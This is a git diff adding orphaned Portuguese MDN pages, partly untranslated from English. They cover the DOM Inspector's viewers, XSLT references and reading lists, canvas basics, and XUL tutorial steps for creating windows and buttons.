If you inspect the main browser window, for example, and select nodes in the DOM Nodes viewer (other than the elements which have no visible UI as is the case with the endless list of script elements that are loaded into browser.xul), you will see the various parts of the browser interface being highlighted with a blinking red border. You can traverse the structure and go from the topmost parts parts of the DOM tree to lower level nodes, such as the "search-go-button" icon that lets users perform a query using the selected search engine.

+ +

domi-edit-search-onclick.png

+ +

Now, once you have selected a node like the "search-go-button" node, you can select any one of several viewers to display information about that node in the object pane of the DOM Inspector application window, all of which are available from the menupopup accessed from the upper left corner of the the object pane.

+ +

domi-object-viewers.png

+ +

In order to find out what the actual name of the file is being used to provide the search go icon, you can select the CSS Rules viewer from this menu and see the various selectors and rules that have been applied. The rule that applies the search icon to the element uses a class simple selector and uses a list-style-image property to point to a file in the current theme.

+ +

The list of viewers available from the viewer menu gives you some idea about how extensive the DOM Inspector's inspecting capabilities are. The following descriptions provide an overview of what these viewers are about:

+ +

The DOM Nodes viewer shows attributes of nodes that can take them, or the text content of text nodes, comments, and processing instructions. The attributes and text contents may also be edited.

+ +

The Box Model viewer gives various metrics about XUL and HTML elements, including placement and size.

+ +

The XBL Bindings viewer lists the XBL bindings attached to elements. If a binding extends another binding, the binding menulist will list them in descending order to to "root" binding.

+ +

The CSS Rules viewer shows the CSS rules that are applied to the node. Alternatively, when used in conjunction with the Style Sheets viewer, the CSS Rules viewer lists all recognized rules from that style sheet in order. Properties may be also be edited. Rules applying to pseudo-elements do not appear.

+ +

The JavaScript Object viewer gives a hierarchical tree of the object pane's subject. The JavaScript Object viewer also allows JavaScript to be evaluated by selecting the appropriate menuitem in the context menu.

+ +

Ações básicas do visualizador de Nodos de DOM

+ +

Selecionar elementos, com clique

+ +

Another powerful interactive feature of the DOM Inspector is that when you have the DOM Inspector open and have enabled this functionality by choosing Edit > Select Element by Click or by clicking the little magnifying glass icon in the upper left portion of the DOM Inspector application, you can click anywhere in a loaded web page or the the inspect chrome document, and the element you click will be shown in the document pane in the DOM Nodes viewer and information displayed in the object pane.

+ +

procurar por Nodos no DOM

+ +

Another way to inspect the DOM is to search for particular elements you're interested in by ID, class, or attribute. When you select Edit > Find Nodes... or press Ctrl + F, the DOM Inspector displays a find dialog that lets you find elements in various ways, and that gives you incremental searching by way of the <F3> shortcut key.

+ +

domi-find-appcontent.png

+ +

Atualizar o DOM Dinamicamente

+ +

Another feature to mention in this introduction is the ability is the ability the DOM Inspector gives you to dynamically update information reflected in the DOM about web pages, user interface, and other elements. Note that when the DOM Inspector displays information about a particular node or subtree, it presents individual nodes and their values (in the DOM, attributes are subnodes of elements, typically) in an active list. You can perform actions on the individual items in this list from the context menu and the Edit menu, both of which contain menutimes that allow you edit the values of those attributes.

+ +

domi-edit-search-onclick.png

+ +

This interactivity allows you to shrink and grow element size, change icons, and do other layout-tweaking updates—all without actually changing the DOM as it is defined in the file on disk.

+ +

Gostar do Inspetor

+ +

O 'Inspetor de DOM' can take some figuring out, but once you get used to it, you may find that these structured views of web pages and interfaces were exactly the aspects of your own application development that were missing. The DOM Inspector not only presents all this information about pages in a clear and structured way, it gives you way to find and update those structures, and it's simple to access via shortcuts and menus already available in the Mozilla browser. Used in concert with Mozilla tools like Venkman, the JavaScript debugger, the DOM Inspector can give you a complete view of any web page or DOM-based application interface.

diff --git a/files/pt-pt/orphaned/tools/add-ons/index.html b/files/pt-pt/orphaned/tools/add-ons/index.html new file mode 100644 index 0000000000..ab408aeb18 --- /dev/null +++ b/files/pt-pt/orphaned/tools/add-ons/index.html @@ -0,0 +1,15 @@ +--- +title: Add-ons +slug: Tools/Add-ons +tags: + - NeedsTranslation + - TopicStub +translation_of: Tools/Add-ons +--- +
{{ToolsSidebar}}

Developer tools that are not built into Firefox, but ship as separate add-ons.

+ +
+
WebSocket Monitor
+
Examine the data exchanged in a WebSocket connection.
+
 
+
diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html new file mode 100644 index 0000000000..22d79de1f3 --- /dev/null +++ b/files/pt-pt/orphaned/transformar_xml_com_xslt/index.html @@ -0,0 +1,145 @@ +--- +title: Transformar XML com XSLT +slug: Transformar_XML_com_XSLT +tags: + - PrecisaDeMigração + - Todas_as_Categorias + - Transformar_XML_com_XSLT + - XSLT +--- +

 

+ +

Visão Geral

+ +

A separação do conteúdo e apresentação é uma característica chave de um projeto do XML. A estrutura de um documento XML é projetada para refletir e esclarecer relacionamentos importantes entre os aspectos individuais do próprio conteúdo, unhindered por uma necessidade fornece qualquer indicação sobre como este dado deve eventualmente ser apresentado. Esta estruturação inteligente é particularmente importante como cada vez mais transferências de dados são automatizadas e ocorrem entre máquinas altamente heterogêneas ligadas por uma rede.

+ +

Eventualmente muito do conteúdo armazenado em documentos XML precisarão ser apresentados para leitores humanos. Por isso o navegador proporciona uma interface familiar e altamente flexível, isto é um mecanismo ideal para entregar para apresentação as versões do conteúdo XML. Construído de baixo para cima utilizando uma variedade de tecnologias XML, o Mozilla incorpora nele todos os mecanismos necessários para processar todos os documentos XML originais e as folhas de estilo especializadas usadas para o estilo e disposição da exibição HTML, reduzindo o carregamento do servidor com o lado de processamento do cliente.

+ +

No momento, o Gecko (a disposição do motor por trás do Mozilla e Firefox) suporta duas formas de folhas de estilo XML. Para controle básico da aparência — fontes, cores, posições, e assim por diante — Gecko usa a CSS, familiar de DHTML. Toda a CSS1 e a maior parte da CSS2 são suportados. O suporte para a CSS3 esá em desenvolvimento. Para informações adicionais sobre CSS, veja Eric Meyer's CSS pages.

+ +

Nosso foco aqui é no segundo tipo de folhas de estilo que o Gecko suporta: a folha de estilo XSLT (Extensible Stylesheet Language Transformations). XSLT permite a um autor de folhas de estilo transfomrar um documento XML primário em dois caminhos significantes: manipulando e classificando o conteúdo, incluindo reordenação por atacado, se desejado assim, e transformação do conteúdo em um formato diferente (e no caso do Mozilla, o foco é na conversão disto em HTML que pode ser exibido pelo navegador.

+ +

Referência XSLT/XPath

+ +

Elementos

+ + + +

Eixos

+ + + +

Funções

+ + + +

Para leitura adicional

+ + + +
+

Informação Original do Documento

+ + +
diff --git a/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html b/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html new file mode 100644 index 0000000000..888e6527a8 --- /dev/null +++ b/files/pt-pt/orphaned/transformar_xml_com_xslt/para_leitura_adicional/index.html @@ -0,0 +1,206 @@ +--- +title: Para leitura adicional +slug: Transformar_XML_com_XSLT/Para_leitura_adicional +tags: + - PrecisaDeConteúdo + - Transformar_XML_com_XSLT +--- +« Transforming XML with XSLT + +

Imprimir

+ +

Livros

+ +
+
XSLT: Programmer's Reference, Second Edition + +
+
Autor: Michael H. Kay
+
Tamanho: 992 páginas
+
Editora: Wrox; 2 edition (3 de maio de 2001)
+
ISBN: 0764543814 +
+
Michael Kay é um membro do W3C XSL Working Group e o desenvolvedor de seu próprio processador XSLT de código livre, Saxon. Ele é também o autor do único livro deste assunto a ter alcançado a segunda edição. Este é um grande livro, atraente e bem completo, às vezes completo demais em detalhes, cobrindo toda base possível sobre XSLT.
+
+
+
+
+
+ +

http://www.amazon.com/XSLT-Programme.../dp/0764543814

+ +

 

+ +
+
XSLT + +
+
Autor: Doug Tidwell
+
Tamanho: 473 páginas
+
Editora: O'Reilly Media; 1 edition (15 de agosto de 2001)
+
ISBN: 0596000537 +
+
Doug Tidwell é um desenvolvedor sênior na IBM e um evangelista notável sobre tecnologias XML em geral. Ele é o autor de vários artigos e tutoriais em vários aspectos de XML no extenso site do desenvolvedor XML da IBM. Este livro é menos abrangente que o do Michael Kay, mas cobre todo o conteúdo básico e oferece exemplos interessantes.
+
+
+
+
+
+ +

http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537

+ +

 

+ +
+
Learning XML, Second Edition + +
+
Autor: Erik T. Ray
+
Tamanho: 432 páginas
+
Editora: O'Reilly Media; 2 edition (22 de setembro de 2003)
+
ISBN: 0596004206 +
+
Como o título indica, esta é uma visão geral sobre XML. O capítulo 6 é voltado especificamente para XSLT.
+
+
+
+
+
+ +

http://www.amazon.com/gp/product/0596004206

+ +

Digital

+ +

Websites

+ +
+
World Wide Web Consortium + +
+
The W3C homepage: http://www.w3.org/
+
The main XSL page: http://www.w3.org/Style/XSL/
+
The version 1.0 Recommendation for XSLT: http://www.w3.org/TR/xslt
+
Archive of public style (CSS and XSLT) discussions: http://lists.w3.org/Archives/Public/www-style/
+
The version 1.0 Recommendation for XPath: http://www.w3.org/TR/xpath +
+
The World Wide Web Consortium is the body that publishes Recommendations for a number of web-based technologies, many of which become the de-facto standard.
+
+
+
+
+
+ +

Artigos

+ +
+
Hands-on XSL + +
+
Author: Don R. Day
+
Location: http://www-106.ibm.com/developerwork...-hands-on-xsl/
+
+
+
+ +
+
Understanding XSLT + +
+
Author: Jay Greenspan
+
Location: http://hotwired.lycos.com/webmonkey/...l?tw=authoring
+
+
+
+ +
+
What is XSLT? + +
+
Author: G. Ken Holman
+
Location: http://www.xml.com/pub/a/2000/08/holman/index.html
+
+
+
+ +

Tutoriais/Exemplos

+ +
+
Zvon + +
+
XSL Programmers: http://www.zvon.org/o_html/group_xsl.html
+
+
+
+ +
+
Jeni's XSLT Pages + +
+
Index: http://www.jenitennison.com/xslt/
+
+
+
+ +
+
XMLPitstop.com + +
+
StyleSheet Center: http://www.xmlpitstop.com/Default.asp?DataType=SSC
+
+
+
+ +
+
XSL Tutorial + +
+
Index: http://www.nwalsh.com/docs/tutorials/xsl/
+
+
+
+ +

Outros

+ +
+
Cover Pages + +
+
Extensible Stylesheet Language (XSL): http://www.oasis-open.org/cover/xsl.html
+
+
+
+ +
+
XSL-List + +
+
Subscribe: http://www.mulberrytech.com/xsl/xsl-list/
+
Archives: http://www.biglist.com/lists/xsl-list/archives/ +
+
The XSL-List is a very active general mailing list, hosted by Mulberry Technologies
+
+
+
+
+
+ +
+
mozilla.dev.tech.xslt + +
+
Google Groups: http://groups.google.com/group/mozilla.dev.tech.xslt + +
+
This is a newsgroup that discusses Netscape-specific XSLT issues.
+
+
+
+
+
+ +

Categorias

+ +

Interwiki Language Links

+ +

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "fr": "fr/Transformations_XML_avec_XSLT/Autres_ressources", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}

diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html new file mode 100644 index 0000000000..e23701e72d --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_do_canvas/formas_de_desenho/index.html @@ -0,0 +1,8 @@ +--- +title: Formas de desenho +slug: Tutorial_do_Canvas/Formas_de_desenho +--- +

A Grade

+

Antes de começar a desenhar, nós precisamos falar um pouco sobre o sistema de cordenadas. No início da página anterior há um template de 150x150. Eu desenhei a grade padrão. Normalmente 1 unidade na grade corresponde à 1 pixel na tela. A origem da grade está posicionada no canto superior esquerdo (cordenada (0; 0)). Todos os elementos são posicionados pela sua origem. Então a posição do canto superior esquerdo do quadrado azul está em x pixels da esquerda e y pixels de cima (cordenada (x; y)). Mais tarde neste tutorial, nós veremos como reposicionar esta origem, rodar a grade e redimensionar. Por enquanto, trabalharemos com os padróes.

+

Desenhado formas

+

Diferente do SVG, o canvas suporta apenas uma forma primitiva - retângulos. Todas as outras formas devem ser criadas combinando uma ou mais formas. Por sorte, nós temos uma coleção de funções de desenho de formas que permite a composição de forma altamente complexas.

diff --git a/files/pt-pt/orphaned/tutorial_do_canvas/index.html b/files/pt-pt/orphaned/tutorial_do_canvas/index.html new file mode 100644 index 0000000000..98c8233b1e --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_do_canvas/index.html @@ -0,0 +1,24 @@ +--- +title: Tutorial do Canvas +slug: Tutorial_do_Canvas +tags: + - 'HTML:Canvas' + - Tutoriais + - Tutorial_do_Canvas +--- +

O <canvas> é um elemento HTML novo que pode ser usado para desenhar gráficos através de linguagens de guião (normalmente JavaScript). Ele pode, por exemplo, ser usado para desenhar gráficos, fazer composição de fotografias ou animações (simples e não tão simples). A imagem à direita apresenta alguns exemplos de implementações de <canvas> que veremos mais adiante neste tutorial.

+

O <canvas> foi inicialmente apresentado pela Apple para o Mac OS X Dashboard e mais tarde implementado no Safari. Os navegadores baseados no Gecko 1.8, tal como o Firefox 1.5, também suportam este elemento. O elemento <canvas> faz parte das específicações WhatWG Web applications 1.0, também conhecidas como HTML 5.

+

Neste tutorial eu vou tentar descrever como implementar o elemento <canvas> nas suas páginas HTML. Os exemplos apresentados devem dar umas boas ideias sobre o que é que se pode fazer com <canvas> e podem ser usados para começar a construir outras implementações.

+

Antes de começar

+

O uso do elemento <canvas> não é muito difícil mas para isso é preciso possuir um conhecimento básico de HTML e JavaScript.

+

Como foi dito acima, o elemento <canvas> não é suportado em todos os navegadores modernos. Por consequência, para ver os exemplos será necessário usar o Firefox ou outro navegador baseado no Gecko tal como o Opera ou o Safari.

+

Neste Tutorial

+ +

Ver também

+ +

{{ Next("Canvas tutorial:Basic usage") }}

+

Categorias

+

Interwiki Language Links

+

{{ languages( { "en": "en/Canvas_tutorial", "fr": "fr/Tutoriel_canvas", "ja": "ja/Canvas_tutorial", "ko": "ko/Canvas_tutorial", "pl": "pl/Przewodnik_po_canvas", "zh-cn": "cn/Canvas_tutorial" } ) }}

diff --git "a/files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" "b/files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" new file mode 100644 index 0000000000..489af34137 --- /dev/null +++ "b/files/pt-pt/orphaned/tutorial_do_canvas/utiliza\303\247\303\243o_b\303\241sica/index.html" @@ -0,0 +1,23 @@ +--- +title: Utilização básica +slug: Tutorial_do_Canvas/Utilização_básica +--- +

O Elemento <canvas>

+

Vamos iniciar este tutorial olhando para o elemento <canvas>.

+
<canvas id="tutorial" width="150" height="150"><canvas>
+
+

Isto se parece com o elemento <img>, a única diferença é que não tem os atributos src e alt. O elemento <canvas> tem apenas dois atriburos - width e height. Estes são opcionais e podem ser mudados usando propriedades do DOM. Quando não configurados os valores de width e height, a largura será de 300 pixels e a altura será de 150 pixels. O elemento pode ser redimensionado árbitrariamente usando CSS, mas durante a renderização a imagem será redimensionada para preencher o tamanho total do elemento (Se a renderização parecer distorcida, tente mudar os valores de width e height do elemento <canvas>, e não via CSS).

+

O atributo id não é específico do elemeto <canvas>, mas é um dos atributos padrão do HTML que pode ser aplicato à (quase) todos os elementos HTML. É sempre uma boa idéia adicionar o atributo id porque fica fácil de identificar o elemento no script.

+

O elemento <canvas> pode ser estilizado como qualquer imagem normal (margem, borda, fundo, etc). estas estilizações não afetam o desenho real da imagem. Nós veremos mais adiante neste tutorial. Quando nenhuma regra é aplicada à <canvas>, ela será totalmente transparente.

+

Conteúdo alternativo

+

Por ser relativamente novo, o elemento <canvas> não foi implementado em alguns navegadores (como no IE, antes da versão 9), os precisamos definir um conteúdo alternativo para navegadores que não suportam a tag.

+

Isto é muito fácil: nós apenas adicionamos o conteúdo alternativo dentro do elemento <canvas>. Navegadores que não suportam <canvas> irão ignorar o elemento e renderizar o conteúdo interno. Navegadores que suportam <canvas> irão ignorar o conteúdo interno e renderizar o elemento normalmente.

+

Por exemplo, nós podemos adicionar uma descrição de texto do elemento ou adicionar uma imagem estática do conteúdo dinâmicamente renderizado. Parecerá assim:

+
<canvas id="grafEstoque" width="150" height="150">
+  Preço atual do estoque: $3,15 +0,15
+</canvas>
+
+<canvas id="relogio" width="150" height="150">
+  <img src="imagens/relogio.png" width="150" height="150" />
+</canvas>
+
diff --git "a/files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" "b/files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" new file mode 100644 index 0000000000..98cc27b169 --- /dev/null +++ "b/files/pt-pt/orphaned/tutorial_xul/adicionando_bot\303\265es/index.html" @@ -0,0 +1,77 @@ +--- +title: Adicionando botões +slug: Tutorial_XUL/Adicionando_botões +tags: + - PrecisaDeRevisãoEditorial + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +

+

+

Adicionando Botões a uma Janela

+

A janela que nós criamos não possuía nada, então ainda não é muito interessante. Nessa sessão, iremos adicionar dois botões, um botão "Find" e outro "Cancel". Iremos também aprender uma maneira simples de posicionar os botões na janela. +

Como em HTML, XUL tem uma série de tags que podem ser usadas para criar UIs. A mais básica delas é a tag {{ XULElem("button") }}. Este elemento é usado para criar botões simples. +

O elemento botão tem duas propriedades principais associadas a ele, uma label uma image. Você precisará ao menos de uma delas ou das duas para criar um botão simples. Portanto, um botão pode ter apenas uma label (texto), uma imagem ou os dois juntos. Botões são geralmente usados para comandos OK e Cancel numa caixa de diálogo, por exemplo. Vale lembrar que não haverá erro caso não seja colocado nem uma label ou uma imagem, apenas o botão ficará em branco o que não é muito comum em interfaces. +

+

Sintaxe dos Botões

+

A tag button tem a seguinte sintaxe: +

+
<button
+    id="identifier"
+    class="dialog"
+    label="OK"
+    image="images/image.jpg"
+    disabled="true"
+    accesskey="t"/>
+
+

Os atributos a seguir são todos opcionais: +

+
id 
Um identificador único para o botão. Como já dissemos em sessões anteriores, muitos elementos terão esse identificador. Você deverá usar este atributo caso deseje referenciar o botão em um CSS ou script. Entretanto, é aconselhável que você coloque o atributo id mesmo que não vá referenciar o botão em nenhum lugar. +
class 
A classe do botão. Tem o mesmo efeito do atributo "class" em HTML, usado para CSS. Neste caso, o valor dialog é usado. +
label 
O texto que irá aparecer dentro do botão. Se for deixado em branco ou não for especificado, nenhum texto irá aparecer. +
image 
A URL da imagem que aparecerá no botão. Se for deixado em branco ou não for especificado, nenhuma imagem irá aparecer. Você também pode especificar a imagem através da propriedade CSS list-style-image. +
disabled 
Se este atributo for setado como true, o botão ficará desabilitado. Se um botão está desabilitado, as funções que ele possui não poderão ser executadas. O default para esta propriedade é o botão habilitado. Você também pode trocar o estado do botão com JavaScript. +
accesskey 
Esta propriedade designa uma letra como tecla de atalho. A letra especificada geralmente sublinhada no texto do botão. Caso não haja a letra especificada como atalho no texto escrito no atributo "label", a letra aparecerá no final do texto, entre parênteses. Quando o usuário pressionar a tecla ALT (ou a tecla similar em outras plataformas) e a letra de atalho, o botão será acionado. +
+

O botão possui diversas outras propriedades que podem ser vistas no link Mais propriedades. +

+

Alguns exemplos de botões

+

"Codigo Fonte" : Visualizar +

+
Image:buttons1.png
+
<button label="Normal"/>
+<button label="Disabled" disabled="true"/>
+
+

O exemplo acima irá gerar os botões da imagem ao lado. O primeiro é um botã normal. O segundo está desabilitado, por isso aparece em tom de cinza. +

Vamos começar criando um simples botão "Find", para nosso aplicativo de encontrar arquivos. O código abaixo mostra como fazer isso. +

+
<button id="find-button" label="Find"/>
+
+
Note que o Firefox não permite a você abrir janelas chrome de páginas Web, por isso os links "Visualizar" abrem em janelas normais do browser. Por esse motivo, os botões ocuparão toda a tela. Você pode adicionar o atributo align="start" na tag window para prevenir isso.
+
+
O exemplo findfile.xul
+

Vamos adicionar o código acima ao arquivo findfile.xul criado na sessão anterior. O código precisa se inserido entre as tags window. O código a ser adicionado está exibido em vermelho, abaixo: +

+
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+<window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+     xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+
+  <button id="find-button" label="Find"/>
+  <button id="cancel-button" label="Cancel"/>
+
+</window>
+
+
Image:buttons2.png
+Você irá notar que o botão "Cancel" foi adicionado. Foi dado à janela uma orientação horizontal fazendo com que os botões apareçam um ao lado do outro. Se você abrir o arquivo no Mozilla, você deverá ter alguma coisa parecida como a imagem ao lado.
+
Note que é aconselhável não colocar as labels diretamento no arquivo XUL. Devemos usar entidades de forma que o texto seja facilmente traduzido.
+

Na próxima sessão, iremos encontrar como +

In the next section, we will find out how to adicionar labels e imagens em um arquivo XUL.

See also more button fetaures +

{{ PreviousNext("XUL Tutorial:Creating a Window", "XUL Tutorial:Adding Labels and Images") }} +

Categorias +

Interwiki Language Links +

{{ languages( { "en": "en/XUL_Tutorial/Adding_Buttons", "es": "es/Tutorial_de_XUL/A\u00f1adiendo_botones", "ja": "ja/XUL_Tutorial/Adding_Buttons", "pl": "pl/Kurs_XUL/Dodawanie_przycisk\u00f3w" } ) }} diff --git a/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html b/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html new file mode 100644 index 0000000000..37e7ee87a8 --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_xul/criando_uma_janela/index.html @@ -0,0 +1,89 @@ +--- +title: Criando uma janela +slug: Tutorial_XUL/Criando_uma_janela +tags: + - PrecisaDeAtualização + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +

 

+ +

Criando uma aplicação XUL

+ +

Uma aplicação XUL pode ter qualquer nome mas ela precisa necessariamente ter a extensão .xul. A aplicação XUL mais simples tem a seguinte estrutura:

+ +
<?xml version="1.0"?>
+<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
+
+<window
+    id="findfile-window"
+    title="Find Files"
+    orient="horizontal"
+    xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
+<!-- Other elements go here -->
+</window>
+
+ +

Esta janela não irá fazer nada já que ela não contém nenhum elemento de interação com o usuário (UI). Estes serão adicionados na próxima sessão. Abaixo segue uma explicação de cada linha do código acima:

+ +
    +
  1. <?xml version="1.0"?>
    + Esta linha serve simplesmente para declarar que este é um arquivo XML. Você normalmente colocará essa linha no topo de cada arquivo XUL assim como você coloca a tag HTML em cada arquivo HTML.
  2. +
  3. <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
    + Esta linha é usada para especificar o arquivo CSS que será usado pelo arquivo. Esta é a sintaxe que os arquivos XML usam para importar folhas de estilo. Nesse caso, importamos os CSS que se encontram na pasta global do pacote de skins. Repare que não foi designado um arquivo específico então o Mozilla irá determinar qual arquivo CSS será utilzado. Nesse caso, o arquivo global.css será selecionado. Este arquivo contém todas as declarações padrão para todos os elementos XUL. Pelo fato do XML não ter a capacidade de definir como os elementos serão exibidos, o CSS indica como fazê-lo. Geralmente, você colocará esta linha no topo de todos os arquivos XUL. Você poderá também importar um arquivo externo usando a mesma sintaxe. Note que você normalmente irá importar o CSS global de seu próprio arquivo.
  4. +
  5. <window
    + Esta linha declara que você está descrevendo um window. Cada janela de UI é descrita em um arquivo separado. Esta tag é semelhante à tag BODY do HTML, que engloba o conteúdo do arquivo. Muitos atributos podem ser colocados na tag window -- nesse caso, são quatro. Neste exemplo, cada atributo é colocado em uma linha separada, mas não é preciso seguir essa regra.
  6. +
  7. id="findfile-window"
    + O atributo id é usado como um identificador que é usado por scripts para ser rerefenciado. Normalmente é colocado um atributo id em todos os elementos. Você pode dar qualquer nome aos atributos, mas de preferência dê nomes que identifiquem para o que o atributo serve.
  8. +
  9. title="Find Files"
    + O atributo title descreve o texto que irá aparecer na barra de título da janela quando ela é exibida. Nesse caso, o texto 'Find Files' irá aparecer.
  10. +
  11. orient="horizontal"
    + O atributo orient especifica o posicionamento dos itens na janela. O valor horizontal indica que os itens devem aparecer dispostos horizontalmente na janela. Você pode também usar o valor vertical para designar que os elementos aparecerão em forma de colunas. Como este é o valor default, você pode optar por não escrever esse atributo caso deseje que os elementos aparecam na vertical.
  12. +
  13. xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
    + Esta linha declara o namespace para o XUL, que você deve colocar em uma elemento janela de forma a indicar que todos os seus 'filhos' são XUL. Note que essa URL não é exibida para você. Mozilla irá reconhecer essa URL internamente.
  14. +
  15. <!-- Other elements go here -->
    + Você pode substituir esse bloco de comentários por outros elementos (botões, menus e outros componentes de UI) que aparecerão na janela. Nós iremos adicionar alguns deles na próxima sessão.
  16. +
  17. </window>
    + E finalmente, precisamos fechar a tag window no final do arquivo.
  18. +
+ +

Abrindo uma janela

+ +

Para abrir uma janela XUL, existem vários métodos que podem ser usados. Se você estiver apenas na fase de desenvolvimento, você pode simplesmente escrever a URL (como um chrome:, file: or outros tipos de URL) na barra de endereços do Mozilla. Você pode também dar um duplo-clique no nome do arquivo em seu diretório, assuminfo que os arquivos XUL estão associados com o Mozilla. A janela XUL irá aparecer na janela do browser como se fosse uma nova janela, mas isso é o suficiente durante o estágio de desevolvimento.

+ +

A forma correta, é claro, é abrir a janela usando javascript. Nenhuma sintaxe nova é necessária, podendo ser usada a função window.open() como se fosse uma documento HTML. Entretanto, um parâmetro adicional com o valor 'chrome' é necessário para indicar ao browser será aberto um documento chrome. Isso ira abrir a janela sem as barras de ferramenta e os menus. A sintaxe é descrita abaixo:

+ +
window.open(url,windowname,flags);
+
+onde o parâmetro 'flags' recebe o valor "chrome", como no exemplo:
+
+window.open("chrome://navigator/content/navigator.xul", "bmarks", "chrome,width=600,height=300");
+
+ +
+
O exemplo findfile.xul
+ +

Vamos começar criando um arquivo básico para a janela 'Find File'. Crie um arquivo chamado findfile.xul e o coloque no diretório especificado no arquivo findfile.manifest (nós o criamos na sessão anterior). Adicione o exemplo mostrado anteriormente ao arquivo e salve-o.

+
+ +

Você pode usar o parâmetro da linha de comando '-chrome' para especificar o arquivo XUL a ser aberto quando o Mozilla iniciar. Se não for especificado nenhum arquivo, a janela padrão será aberta. (Normalmente a janela do browser.) Por exemplo, podemos abrir a janela 'Find Files' das seguintes formas:

+ +
mozilla -chrome chrome://findfile/content/findfile.xul
+
+mozilla -chrome resource:/chrome/findfile/content/findfile.xul
+
+ +

Se você executar este comando a partir de uma linha de comando (assumindo que você tem uma na sua plataforma), a janela 'Find Files' irá abrir como janela padrão, ao invés da janela do browser. Por nós ainda não termos inserido nenhum elemento de interação na janela, você não verá a janela aparecendo. Iremos adicionar alguns elementos na próxima sessão.

+ +

Para ver o efeito, o link a seguir irá abrir a janela de favoritos:

+ +
mozilla -chrome chrome://communicator/content/bookma...rksManager.xul
+
+Se você estiver usando o Firefox, utilize o link abaixo
+firefox -chrome chrome://browser/content/bookmarks/b...rksManager.xul
+
+ +

O argumento '-chrome' não dá ao arquivo nenhum privilégio adicional. Ao contrário, ele abre o arquivo especificado como uma aba, sem barra de endereço ou menus. Apenas URL chromes tem privilégios adicionais.

+ +
No link Extension Developer's Extension você encontra um editor XUL que permite que você escreva códigos XUL e veja os resultados em tempo real sem o uso do Mozilla!
diff --git a/files/pt-pt/orphaned/tutorial_xul/index.html b/files/pt-pt/orphaned/tutorial_xul/index.html new file mode 100644 index 0000000000..30f3bbf77a --- /dev/null +++ b/files/pt-pt/orphaned/tutorial_xul/index.html @@ -0,0 +1,52 @@ +--- +title: Tutorial XUL +slug: Tutorial_XUL +tags: + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +

 

+ +


+ Este tutorial descreve XUL, a Linguagem XML de Interface de Usuário. Esta linguagem foi criada para aplicações Mozilla e é usada para descrever sua interface de usuário.

+ +

Introdução

+ + + +

Elementos Simples

+ + + +
+

Este tutorial de XUL foi criado originalmente por Neil Deakin. Deu-nos a permissão de usá-lo no MDC.

+
+ +
+
Informações Sobre o Documento Original
+ + +
+ +

Categorias

+ +

Interwiki Language Links

diff --git "a/files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" "b/files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" new file mode 100644 index 0000000000..04753884df --- /dev/null +++ "b/files/pt-pt/orphaned/tutorial_xul/introdu\303\247\303\243o/index.html" @@ -0,0 +1,61 @@ +--- +title: Introdução +slug: Tutorial_XUL/Introdução +tags: + - PrecisaDeAtualização + - Todas_as_Categorias + - Tutorial_XUL + - XUL +--- +

 

+ +

Este tutorial guiará você no aprendizado de XUL (XML User Interface Language), que é uma linguagem multi-plataforma para descrever interfaces (usuário) de aplicações.

+ +

Este tutorial demonstrará a criação de uma interface simples de procura de arquivos, similar à provida pelo Sherlock do Macintosh ou o diálogo de procura de arquivos no Windows. Note que só será criada a interface do usuário, junto com algumas funcionalidades limitadas. A procura real por arquivos não será implementada. Uma linha azul aparecerá à esquerda de um parágrafo quando o diálogo de procura de arquivos tiver sido modificado. Você pode seguir através dessas sessões.

+ +

O que é XUL e por que foi criado?

+ +

XUL (pronouncia-se zúl, quase como azul - ou cool, em inglês) foi criado para tornar o desenvolvimento do navegador Mozilla mais fácil e rápido. É uma linguagem XML de modo que todas as características disponíveis para XML estão também disponíveis para XUL.

+ +

A maioria das aplicações precisa ser desenvolvida usando características de uma plataforma específica, o que torna a construção de software multi-plataforma cara e demorada. Isso pode não ser importante para alguns, mas usuários podem desejar usar uma aplicação em outros dispositivos tais como computadores de mão.

+ +

Um número de soluções multi-plataformas foi desenvolvido no passado. Java, por exemplo, tem portabilidade como um ponto chave. XUL é um projeto de linguagem semelhante especificamente projetado para a criação de interfaces de usuário portáteis.

+ +

É levado um longo tempo para construir uma aplicação, mesmo para uma só plataforma. O tempo necessário para compilar e depurar pode ser longo. Com XUL, uma interface pode ser implementada e modificada rápida e facilmente.

+ +

XUL tem todas as vantagens de outras linguagens XML. Por exemplo, XHTML ou outras linguagens XML tais como o MathML ou o SVG podem ser inseridas nela. Além disso, texto apresentado com XUL é facilmente localizável, o que significa que pode ser traduzido para outros idiomas com pouco esforço. Folhas de estilo podem ser aplicadas para modificar a aparência da interface de usuário (como os skins ou características de temas no WinAmp ou alguns gerenciadores de janelas).

+ +

Que espécies de interfaces para usuário podem ser feitas com XUL?

+ +

